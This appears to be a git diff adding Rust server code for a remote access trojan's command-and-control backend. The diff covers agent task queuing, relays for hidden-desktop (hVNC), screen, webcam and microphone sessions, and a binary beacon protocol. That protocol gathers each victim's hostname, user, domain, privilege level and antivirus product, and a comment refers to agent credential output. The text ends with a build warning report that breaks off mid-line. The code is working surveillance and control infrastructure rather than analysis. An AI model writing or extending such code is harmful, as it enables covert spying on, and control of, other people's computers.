--- /dev/null +++ b/src/tasks/mod.rs @@ -0,0 +1,82 @@ +use serde::{Deserialize, Serialize}; + +use crate::agents::AgentRegistry; +use crate::events::EventBus; +use crate::protocol::{Task, TaskResult}; + +/// Serializable task record for database / API responses. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TaskRecord { + /// Serialized as "id" to match the web dashboard's expected format. + #[serde(rename = "id")] + pub task_id: String, + pub agent_id: String, + pub command: String, + pub args: Vec, + pub timeout: u32, + pub status: String, + pub created_at: String, + pub operator: String, +} + +/// Serializable task result record. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TaskResultRecord { + pub task_id: String, + #[serde(skip_serializing)] + pub agent_id: String, + pub success: bool, + pub output: String, + pub error_code: i32, + /// Serialized as "error" to match the web dashboard. + #[serde(rename = "error")] + pub error_message: String, + /// Base64-encoded binary data (e.g. screenshots). None if no data. + #[serde(skip_serializing_if = "Option::is_none")] + pub data: Option, + /// Serialized as "completed_at" to match the web dashboard. + #[serde(rename = "completed_at")] + pub received_at: String, +} + +/// Enqueue a task for a specific agent. Returns true if the agent exists. +pub fn enqueue_task( + registry: &AgentRegistry, + event_bus: &EventBus, + agent_id: &str, + task: Task, + operator: &str, +) -> bool { + let queued = registry.queue_task(agent_id, task.clone()); + if queued { + event_bus.emit(crate::events::Event::new( + "task_queued", + agent_id, + operator, + &format!("Task {} ({}) queued for agent {}", task.task_id, task.command, agent_id), + "info", + )); + } + queued +} + +/// Process a batch of task results from an agent beacon. +pub fn process_results( + event_bus: &EventBus, + agent_id: &str, + results: Vec, +) { + for result in &results { + let status = if result.success { "success" } else { "failed" }; + event_bus.emit(crate::events::Event::new( + "task_result", + agent_id, + "", + &format!( + "Task {} result: {} (code {})", + result.task_id, status, result.error_code + ), + "info", + )); + } +} diff --git a/src/vnc/mod.rs b/src/vnc/mod.rs new file mode 100755 index 0000000..b065e3f --- /dev/null +++ b/src/vnc/mod.rs @@ -0,0 +1,211 @@ +use bytes::Bytes; +use dashmap::DashMap; +use serde::{Deserialize, Serialize}; +use std::collections::VecDeque; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::sync::{Arc, Mutex}; +use tokio::sync::{broadcast, Notify}; + +// ── Session Mode ───────────────────────────────────────────────────── + +/// Distinguishes VNC, hVNC, Webcam, and Microphone sessions so each +/// gets its own broadcast channel even for the same agent. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum SessionMode { + Vnc, + Hvnc, + Webcam, + Microphone, +} + +// ── Input Event Types ──────────────────────────────────────────────── + +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(tag = "type", rename_all = "snake_case")] +pub enum VncInputEvent { + MouseMove { x: u16, y: u16 }, + MouseButton { button: u8, action: u8, x: u16, y: u16 }, + MouseScroll { delta: i16, x: u16, y: u16 }, + Key { action: u8, vk: u16, scan: u32 }, + Clipboard { text: String }, + Control { action: u8, value: u8 }, +} + +// ── Frame ──────────────────────────────────────────────────────────── + +#[derive(Debug, Clone)] +pub struct VncFrame { + pub width: u16, + pub height: u16, + pub timestamp_ms: u64, + pub frame_type: u8, // 0x00 = legacy JPEG, 0x01 = tiled + pub payload: Bytes, // Zero-copy: avoids cloning per subscriber +} + +// ── Audio Chunk (for Microphone) ───────────────────────────────────── + +#[derive(Debug, Clone)] +pub struct AudioChunk { + pub sample_rate: u16, + pub bits_per_sample: u8, + pub channels: u8, + pub timestamp_ms: u64, + pub pcm_data: Vec, +} + +// ── Session ────────────────────────────────────────────────────────── + +pub struct VncSession { + pub agent_id: String, + pub session_mode: SessionMode, + pub token: String, + pub active: std::sync::atomic::AtomicBool, + pub quality: std::sync::atomic::AtomicU8, + pub frame_sender: broadcast::Sender, + pub audio_sender: broadcast::Sender, + pub input_queue: Mutex>, + pub frame_count: AtomicU64, + /// Notify handle for agent WebSocket — signals when new input is queued. + pub input_notify: Mutex>>, +} + +// ── Session Manager ────────────────────────────────────────────────── + +/// Maximum concurrent VNC/hVNC/Webcam/Mic sessions. +const MAX_SESSIONS: usize = 500; +/// Maximum queued input events per session before dropping oldest. +const MAX_INPUT_QUEUE: usize = 1024; +/// Maximum clipboard text size in bytes. +const MAX_CLIPBOARD_BYTES: usize = 64 * 1024; + +#[derive(Clone)] +pub struct VncSessionManager { + by_token: Arc>>, + by_agent: Arc>, // (agent_id, mode) -> token +} + +impl VncSessionManager { + pub fn new() -> Self { + Self { + by_token: Arc::new(DashMap::new()), + by_agent: Arc::new(DashMap::new()), + } + } + + /// Create a new session for the given agent and mode, returning the token. + pub fn create_session(&self, agent_id: &str, mode: SessionMode) -> String { + // Enforce concurrent session cap + if self.by_token.len() >= MAX_SESSIONS { + tracing::warn!("VNC session cap ({}) reached, refusing new session", MAX_SESSIONS); + return String::new(); + } + + // Generate 64-char hex token (256-bit entropy) + let token: String = (0..32) + .map(|_| format!("{:02x}", rand::random::())) + .collect(); + + let (frame_sender, _) = broadcast::channel(300); + let (audio_sender, _) = broadcast::channel(300); + + let session = Arc::new(VncSession { + agent_id: agent_id.to_string(), + session_mode: mode, + token: token.clone(), + active: std::sync::atomic::AtomicBool::new(true), + quality: std::sync::atomic::AtomicU8::new(35), + frame_sender, + audio_sender, + input_queue: Mutex::new(VecDeque::new()), + frame_count: AtomicU64::new(0), + input_notify: Mutex::new(None), + }); + + self.by_token.insert(token.clone(), session); + self.by_agent.insert((agent_id.to_string(), mode), token.clone()); + + token + } + + pub fn get_by_token(&self, token: &str) -> Option> { + self.by_token.get(token).map(|r| r.value().clone()) + } + + pub fn get_by_agent(&self, agent_id: &str, mode: SessionMode) -> Option> { + let token = self.by_agent.get(&(agent_id.to_string(), mode))?; + self.by_token.get(token.value().as_str()).map(|r| r.value().clone()) + } + + pub fn stop_session(&self, agent_id: &str, mode: SessionMode) { + if let Some((_, token)) = self.by_agent.remove(&(agent_id.to_string(), mode)) { + if let Some((_, session)) = self.by_token.remove(&token) { + session.active.store(false, std::sync::atomic::Ordering::Relaxed); + } + } + } + + pub fn queue_input(&self, token: &str, event: VncInputEvent) { + // Enforce clipboard size limit + if let VncInputEvent::Clipboard { ref text } = event { + if text.len() > MAX_CLIPBOARD_BYTES { + tracing::warn!("Clipboard text too large ({} bytes), dropping", text.len()); + return; + } + } + if let Some(session) = self.by_token.get(token) { + if let Ok(mut queue) = session.input_queue.lock() { + // Drop oldest events if queue is full + while queue.len() >= MAX_INPUT_QUEUE { + queue.pop_front(); + } + queue.push_back(event); + } + // Signal agent WebSocket that input is available + if let Ok(guard) = session.input_notify.lock() { + if let Some(ref notify) = *guard { + notify.notify_one(); + } + } + } + } + + /// Set the input notify handle for agent WebSocket push. + pub fn set_input_notify(&self, token: &str, notify: Arc) { + if let Some(session) = self.by_token.get(token) { + if let Ok(mut guard) = session.input_notify.lock() { + *guard = Some(notify); + } + } + } + + /// Clear the input notify handle (agent WS disconnected). + pub fn clear_input_notify(&self, token: &str) { + if let Some(session) = self.by_token.get(token) { + if let Ok(mut guard) = session.input_notify.lock() { + *guard = None; + } + } + } + + pub fn drain_input(&self, token: &str) -> Vec { + if let Some(session) = self.by_token.get(token) { + if let Ok(mut queue) = session.input_queue.lock() { + return queue.drain(..).collect(); + } + } + Vec::new() + } + + pub fn relay_frame(&self, token: &str, frame: VncFrame) { + if let Some(session) = self.by_token.get(token) { + session.frame_count.fetch_add(1, Ordering::Relaxed); + let _ = session.frame_sender.send(frame); + } + } + + pub fn relay_audio(&self, token: &str, chunk: AudioChunk) { + if let Some(session) = self.by_token.get(token) { + let _ = session.audio_sender.send(chunk); + } + } +} diff --git a/src/wire.rs b/src/wire.rs new file mode 100755 index 0000000..ecaae91 --- /dev/null +++ b/src/wire.rs @@ -0,0 +1,401 @@ +//! C agent wire format serialization/deserialization. +//! +//! The C agent uses a custom binary wire format with: +//! - Little-endian integers +//! - 4-byte (u32) length prefixes for strings and byte arrays +//! - 1-byte booleans +//! +//! This differs from bincode which uses 8-byte (u64) length prefixes. +//! This module provides parsing and serialization that matches the C agent. + +use crate::protocol::{ + CheckIn, Envelope, Task, TaskResponse, TaskResult, TaskResultBatch, +}; + +/// Wire format parsing/serialization error. +#[derive(Debug, thiserror::Error)] +pub enum WireError { + #[error("unexpected end of data at offset {0}")] + UnexpectedEof(usize), + #[error("invalid UTF-8 string")] + InvalidUtf8(#[from] std::string::FromUtf8Error), + #[error("length too large: {0}")] + TooLarge(usize), +} + +// ============================================================================ +// Reader — parses C wire format +// ============================================================================ + +struct WireReader<'a> { + data: &'a [u8], + pos: usize, +} + +impl<'a> WireReader<'a> { + fn new(data: &'a [u8]) -> Self { + Self { data, pos: 0 } + } + + fn read_u8(&mut self) -> Result { + if self.pos + 1 > self.data.len() { + return Err(WireError::UnexpectedEof(self.pos)); + } + let val = self.data[self.pos]; + self.pos += 1; + Ok(val) + } + + fn read_u32(&mut self) -> Result { + if self.pos + 4 > self.data.len() { + return Err(WireError::UnexpectedEof(self.pos)); + } + let val = u32::from_le_bytes([ + self.data[self.pos], + self.data[self.pos + 1], + self.data[self.pos + 2], + self.data[self.pos + 3], + ]); + self.pos += 4; + Ok(val) + } + + fn read_u64(&mut self) -> Result { + if self.pos + 8 > self.data.len() { + return Err(WireError::UnexpectedEof(self.pos)); + } + let val = u64::from_le_bytes([ + self.data[self.pos], + self.data[self.pos + 1], + self.data[self.pos + 2], + self.data[self.pos + 3], + self.data[self.pos + 4], + self.data[self.pos + 5], + self.data[self.pos + 6], + self.data[self.pos + 7], + ]); + self.pos += 8; + Ok(val) + } + + fn read_i64(&mut self) -> Result { + Ok(self.read_u64()? as i64) + } + + fn read_raw(&mut self, len: usize) -> Result<&'a [u8], WireError> { + // Use checked_add to prevent integer overflow on 32-bit targets + let end = self.pos.checked_add(len).ok_or(WireError::TooLarge(len))?; + if end > self.data.len() { + return Err(WireError::UnexpectedEof(self.pos)); + } + let slice = &self.data[self.pos..end]; + self.pos = end; + Ok(slice) + } + + /// Read a length-prefixed byte array (4-byte LE u32 length + data). + /// Per-field limit: 1 MiB (reduced from 8 MiB to limit aggregate allocations). + fn read_bytes(&mut self) -> Result, WireError> { + let len = self.read_u32()? as usize; + if len > 1024 * 1024 { + return Err(WireError::TooLarge(len)); + } + Ok(self.read_raw(len)?.to_vec()) + } + + /// Read a length-prefixed UTF-8 string (4-byte LE u32 length + data). + /// Uses lossy conversion — invalid UTF-8 bytes become U+FFFD rather than + /// rejecting the entire message (agent creds output may contain raw bytes). + fn read_string(&mut self) -> Result { + let bytes = self.read_bytes()?; + Ok(String::from_utf8_lossy(&bytes).into_owned()) + } + + /// Return the number of unconsumed bytes remaining. + fn remaining(&self) -> usize { + self.data.len().saturating_sub(self.pos) + } +} + +// ============================================================================ +// Writer — produces C wire format +// ============================================================================ + +struct WireWriter { + buf: Vec, +} + +impl WireWriter { + fn new() -> Self { + Self { + buf: Vec::with_capacity(1024), + } + } + + fn write_u8(&mut self, val: u8) { + self.buf.push(val); + } + + fn write_u32(&mut self, val: u32) { + self.buf.extend_from_slice(&val.to_le_bytes()); + } + + fn write_u64(&mut self, val: u64) { + self.buf.extend_from_slice(&val.to_le_bytes()); + } + + fn write_i64(&mut self, val: i64) { + self.write_u64(val as u64); + } + + fn write_raw(&mut self, data: &[u8]) { + self.buf.extend_from_slice(data); + } + + /// Write a length-prefixed byte array (4-byte LE u32 length + data). + /// Silently truncates data exceeding u32::MAX (4 GiB). + fn write_bytes(&mut self, data: &[u8]) { + let len = u32::try_from(data.len()).unwrap_or(u32::MAX); + self.write_u32(len); + self.buf.extend_from_slice(&data[..len as usize]); + } + + /// Write a length-prefixed UTF-8 string (4-byte LE u32 length + data). + fn write_string(&mut self, s: &str) { + self.write_bytes(s.as_bytes()); + } + + fn into_bytes(self) -> Vec { + self.buf + } +} + +// ============================================================================ +// Key Exchange (agent → server) +// Wire: [32:pubkey_hash][32:ephemeral_pubkey][12:nonce][4:encrypted_len][N:encrypted] +// ============================================================================ + +pub struct ParsedKeyExchange { + pub agent_pubkey_hash: Vec, + pub ephemeral_pubkey: Vec, + pub nonce: Vec, + pub encrypted_checkin: Vec, +} + +pub fn parse_key_exchange(data: &[u8]) -> Result { + let mut r = WireReader::new(data); + let hash = r.read_raw(32)?.to_vec(); + let ephemeral = r.read_raw(32)?.to_vec(); + let nonce = r.read_raw(12)?.to_vec(); + let encrypted_len = r.read_u32()? as usize; + if encrypted_len > 1024 * 1024 { + return Err(WireError::TooLarge(encrypted_len)); + } + let encrypted = r.read_raw(encrypted_len)?.to_vec(); + + Ok(ParsedKeyExchange { + agent_pubkey_hash: hash, + ephemeral_pubkey: ephemeral, + nonce, + encrypted_checkin: encrypted, + }) +} + +// ============================================================================ +// CheckIn (decrypted from key exchange) +// Wire: [str:agent_id][str:hostname][str:username][str:domain][str:internal_ip] +// [u32:pid][u32:ppid][str:os_version][str:arch][str:process_name] +// [u8:elevated][u32:integrity_level][u32:sleep_interval][u32:jitter_percent] +// [i64:kill_date] +// ============================================================================ + +pub fn parse_checkin(data: &[u8]) -> Result { + let mut r = WireReader::new(data); + let checkin = CheckIn { + agent_id: r.read_string()?, + hostname: r.read_string()?, + username: r.read_string()?, + domain: r.read_string()?, + internal_ip: r.read_string()?, + pid: r.read_u32()?, + ppid: r.read_u32()?, + os_version: r.read_string()?, + arch: r.read_string()?, + process_name: r.read_string()?, + elevated: r.read_u8()? != 0, + integrity_level: r.read_u32()?, + sleep_interval: r.read_u32()?, + jitter_percent: r.read_u32()?, + kill_date: r.read_i64()?, + av_product: if r.remaining() > 0 { r.read_string()? } else { String::new() }, + }; + if r.remaining() > 0 { + tracing::warn!("parse_checkin: {} trailing bytes ignored", r.remaining()); + } + Ok(checkin) +} + +// ============================================================================ +// Beacon request (agent → server) +// Wire: [str:agent_id][12:nonce][4:encrypted_len][N:ciphertext] +// ============================================================================ + +pub struct ParsedBeacon { + /// The agent ID transmitted in cleartext before the encrypted payload. + /// + /// **Known information leak:** The agent_id is sent unencrypted so the + /// server can look up the correct session key for decryption (the key is + /// per-agent). A network observer can therefore correlate beacons to a + /// specific agent without decrypting the payload. This is an accepted + /// trade-off for routing purposes; encrypting the agent_id would require + /// a server-wide key trial or a separate key-lookup mechanism. + pub agent_id: String, + pub nonce: Vec, + pub ciphertext: Vec, +} + +pub fn parse_beacon(data: &[u8]) -> Result { + let mut r = WireReader::new(data); + // NOTE: agent_id is read in cleartext here — see ParsedBeacon doc comment. + let agent_id = r.read_string()?; + let nonce = r.read_raw(12)?.to_vec(); + let encrypted_len = r.read_u32()? as usize; + if encrypted_len > 2 * 1024 * 1024 { + return Err(WireError::TooLarge(encrypted_len)); + } + let ciphertext = r.read_raw(encrypted_len)?.to_vec(); + + Ok(ParsedBeacon { + agent_id, + nonce, + ciphertext, + }) +} + +// ============================================================================ +// Beacon response (server → agent) +// Wire: [12:nonce][4:encrypted_len][N:ciphertext] +// ============================================================================ + +pub fn serialize_beacon_response(nonce: &[u8], ciphertext: &[u8]) -> Vec { + let mut w = WireWriter::new(); + w.write_raw(nonce); + w.write_u32(ciphertext.len() as u32); + w.write_raw(ciphertext); + w.into_bytes() +} + +// ============================================================================ +// Envelope (inside encrypted beacon, both directions) +// Wire: [u32:message_type][u64:sequence_number][str:agent_id] +// [i64:timestamp][bytes:payload] +// ============================================================================ + +pub fn parse_envelope(data: &[u8]) -> Result { + let mut r = WireReader::new(data); + let message_type = r.read_u32()?; + let sequence_number = r.read_u64()?; + let agent_id = r.read_string()?; + let timestamp = r.read_i64()?; + let payload = r.read_bytes()?; + + if r.remaining() > 0 { + tracing::warn!("parse_envelope: {} trailing bytes ignored", r.remaining()); + } + + Ok(Envelope { + message_type, + sequence_number, + agent_id, + payload, + timestamp, + }) +} + +pub fn serialize_envelope(env: &Envelope) -> Vec { + let mut w = WireWriter::new(); + w.write_u32(env.message_type); + w.write_u64(env.sequence_number); + w.write_string(&env.agent_id); + w.write_i64(env.timestamp); + w.write_bytes(&env.payload); + w.into_bytes() +} + +// ============================================================================ +// TaskResponse (server → agent, inside envelope payload) +// Wire: [u32:num_tasks][task1][task2]... +// Each task: [str:task_id][str:command][u32:num_args][args...][bytes:data][u32:timeout] +// ============================================================================ + +pub fn serialize_task_response(resp: &TaskResponse) -> Vec { + let mut w = WireWriter::new(); + w.write_u32(resp.tasks.len() as u32); + for task in &resp.tasks { + serialize_task_into(&mut w, task); + } + w.into_bytes() +} + +fn serialize_task_into(w: &mut WireWriter, task: &Task) { + w.write_string(&task.task_id); + w.write_string(&task.command); + w.write_u32(task.args.len() as u32); + for arg in &task.args { + w.write_string(arg); + } + w.write_bytes(&task.data); + w.write_u32(task.timeout); +} + +// ============================================================================ +// TaskResultBatch (agent → server, inside envelope payload) +// Wire: [u32:num_results][result1][result2]... +// Each result: [str:task_id][u8:success][str:output][bytes:data] +// [u32:error_code][str:error_message] +// ============================================================================ + +pub fn parse_task_result_batch(data: &[u8]) -> Result { + let mut r = WireReader::new(data); + let count = r.read_u32()? as usize; + if count > 64 { + return Err(WireError::TooLarge(count)); + } + + let mut results = Vec::with_capacity(count); + for _ in 0..count { + results.push(parse_task_result(&mut r)?); + } + + Ok(TaskResultBatch { results }) +} + +fn parse_task_result(r: &mut WireReader) -> Result { + let task_id = r.read_string()?; + let success = r.read_u8()? != 0; + let output = r.read_string()?; + let data = r.read_bytes()?; + let error_code = r.read_u32()? as i32; + let error_message = r.read_string()?; + + Ok(TaskResult { + task_id, + success, + output, + data, + error_code, + error_message, + }) +} + +// ============================================================================ +// HeartbeatAck (server → agent, inside envelope payload) +// Wire: [i64:timestamp][u32:pending_tasks] +// ============================================================================ + +pub fn serialize_heartbeat_ack(timestamp: i64, pending_tasks: u32) -> Vec { + let mut w = WireWriter::new(); + w.write_i64(timestamp); + w.write_u32(pending_tasks); + w.into_bytes() +} diff --git a/target/.DS_Store b/target/.DS_Store new file mode 100644 index 0000000..54fbb62 Binary files /dev/null and b/target/.DS_Store differ diff --git a/target/.future-incompat-report.json b/target/.future-incompat-report.json new file mode 100755 index 0000000..04308d7 --- /dev/null +++ b/target/.future-incompat-report.json @@ -0,0 +1 @@ +{"version":0,"next_id":2,"reports":[{"id":1,"suggestion_message":"to solve this problem, you can try the following approaches:\n\n- update to a newer version to see if the issue has been fixed\n - sqlx-postgres v0.7.4 has the following newer versions available: 0.8.0, 0.8.1, 0.8.2, 0.8.3, 0.8.5, 0.8.6, 0.9.0-alpha.1\n\n- ensure the maintainers know of this problem (e.g. creating a bug report if needed)\nor even helping with a fix (e.g. by creating a pull request)\n - sqlx-postgres@0.7.4\n - repository: https://github.com/launchbadge/sqlx\n - detailed warning command: `cargo report future-incompatibilities --id 1 --package sqlx-postgres@0.7.4`\n\n- use your own version of the dependency with the `[patch]` section in `Cargo.toml`\nFor more information, see:\nhttps://doc.rust-lang.org/cargo/reference/overriding-dependencies.html#the-patch-section\n","per_package":{"sqlx-postgres@0.7.4":"The package `sqlx-postgres v0.7.4` currently triggers the following future incompatibility lints:\n> \u001b[1m\u001b[33mwarning\u001b[0m\u001b[1m: this function depends on never type fallback being `()`\u001b[0m\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/connection/executor.rs:23:1\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m23\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m/\u001b[0m async fn prepare(\n> \u001b[1m\u001b[94m24\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m conn: &mut PgConnection,\n> \u001b[1m\u001b[94m25\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m sql: &str,\n> \u001b[1m\u001b[94m26\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m parameters: &[PgTypeInfo],\n> \u001b[1m\u001b[94m27\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m metadata: Option>,\n> \u001b[1m\u001b[94m28\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m ) -> Result<(Oid, Arc), Error> {\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|___________________________________________________^\u001b[0m\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mwarning\u001b[0m: this was previously accepted by the compiler but is being phased out; it will become a hard error in Rust 2024 and in a future release in all editions!\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mnote\u001b[0m: for more information, see \n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mhelp\u001b[0m: specify the types explicitly\n> \u001b[1m\u001b[92mnote\u001b[0m: in edition 2024, the requirement `!: sqlx_core::io::Decode<'_>` will fail\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/connection/executor.rs:68:10\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m68\u001b[0m \u001b[1m\u001b[94m|\u001b[0m .recv_expect(MessageFormat::ParseComplete)\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[92m^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[96mhelp\u001b[0m: use `()` annotations to avoid fallback changes\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m66\u001b[0m \u001b[1m\u001b[94m| \u001b[0m let _\u001b[92m: ()\u001b[0m = conn\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[92m++++\u001b[0m\n> \n> \u001b[1m\u001b[33mwarning\u001b[0m\u001b[1m: this function depends on never type fallback being `()`\u001b[0m\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:262:5\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m262\u001b[0m \u001b[1m\u001b[94m|\u001b[0m pub async fn abort(mut self, msg: impl Into) -> Result<()> {\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mwarning\u001b[0m: this was previously accepted by the compiler but is being phased out; it will become a hard error in Rust 2024 and in a future release in all editions!\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mnote\u001b[0m: for more information, see \n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mhelp\u001b[0m: specify the types explicitly\n> \u001b[1m\u001b[92mnote\u001b[0m: in edition 2024, the requirement `!: sqlx_core::io::Decode<'_>` will fail\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:280:30\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m280\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[94m...\u001b[0m .recv_expect(MessageFormat::ReadyForQuery)\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[92m^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[96mhelp\u001b[0m: use `()` annotations to avoid fallback changes\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m280\u001b[0m \u001b[1m\u001b[94m| \u001b[0m .recv_expect\u001b[92m::<()>\u001b[0m(MessageFormat::ReadyForQuery)\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[92m++++++\u001b[0m\n> \n> \u001b[1m\u001b[33mwarning\u001b[0m\u001b[1m: this function depends on never type fallback being `()`\u001b[0m\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:294:5\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m294\u001b[0m \u001b[1m\u001b[94m|\u001b[0m pub async fn finish(mut self) -> Result {\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mwarning\u001b[0m: this was previously accepted by the compiler but is being phased out; it will become a hard error in Rust 2024 and in a future release in all editions!\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mnote\u001b[0m: for more information, see \n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mhelp\u001b[0m: specify the types explicitly\n> \u001b[1m\u001b[92mnote\u001b[0m: in edition 2024, the requirement `!: sqlx_core::io::Decode<'_>` will fail\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:314:14\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m314\u001b[0m \u001b[1m\u001b[94m|\u001b[0m .recv_expect(MessageFormat::ReadyForQuery)\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[92m^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[96mhelp\u001b[0m: use `()` annotations to avoid fallback changes\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m314\u001b[0m \u001b[1m\u001b[94m| \u001b[0m .recv_expect\u001b[92m::<()>\u001b[0m(MessageFormat::ReadyForQuery)\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[92m++++++\u001b[0m\n> \n> \u001b[1m\u001b[33mwarning\u001b[0m\u001b[1m: this function depends on never type fallback being `()`\u001b[0m\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:331:1\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m331\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m/\u001b[0m async fn pg_begin_copy_out<'c, C: DerefMut + Send + 'c>(\n> \u001b[1m\u001b[94m332\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m mut conn: C,\n> \u001b[1m\u001b[94m333\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m statement: &str,\n> \u001b[1m\u001b[94m334\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m ) -> Result>> {\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|_________________________________________^\u001b[0m\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mwarning\u001b[0m: this was previously accepted by the compiler but is being phased out; it will become a hard error in Rust 2024 and in a future release in all editions!\n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mnote\u001b[0m: for more information, see \n> \u001b[1m\u001b[94m= \u001b[0m\u001b[1mhelp\u001b[0m: specify the types explicitly\n> \u001b[1m\u001b[92mnote\u001b[0m: in edition 2024, the requirement `!: sqlx_core::io::Decode<'_>` will fail\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/copy.rs:350:33\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m350\u001b[0m \u001b[1m\u001b[94m|\u001b[0m conn.stream.recv_expect(MessageFormat::CommandComplete).await?;\n> \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[92m^^^^^^^^^^^\u001b[0m\n> \u001b[1m\u001b[96mhelp\u001b[0m: use `()` annotations to avoid fallback changes\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m350\u001b[0m \u001b[92m~ \u001b[0m conn.stream.recv_expect\u001b[92m::<()>\u001b[0m(MessageFormat::CommandComplete).await?;\n> \u001b[1m\u001b[94m351\u001b[0m \u001b[92m~ \u001b[0m conn.stream.recv_expect\u001b[92m::<()>\u001b[0m(MessageFormat::ReadyForQuery).await?;\n> \u001b[1m\u001b[94m|\u001b[0m\n> \nThe package `sqlx-postgres v0.7.4` currently triggers the following future incompatibility lints:\n> \u001b[1m\u001b[33mwarning\u001b[0m\u001b[1m: this function depends on never type fallback being `()`\u001b[0m\n> \u001b[1m\u001b[94m--> \u001b[0m/root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/sqlx-postgres-0.7.4/src/connection/executor.rs:23:1\n> \u001b[1m\u001b[94m|\u001b[0m\n> \u001b[1m\u001b[94m23\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m/\u001b[0m async fn prepare(\n> \u001b[1m\u001b[94m24\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m conn: &mut PgConnection,\n> \u001b[1m\u001b[94m25\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m sql: &str,\n> \u001b[1m\u001b[94m26\u001b[0m \u001b[1m\u001b[94m|\u001b[0m \u001b[1m\u001b[33m|\u001b[0m parameters: &[PgTypeInfo],\n> \u001b[1m\u001b[94m27\u001b[0m \u001b[1m\u001b[94m|\u001b[0m 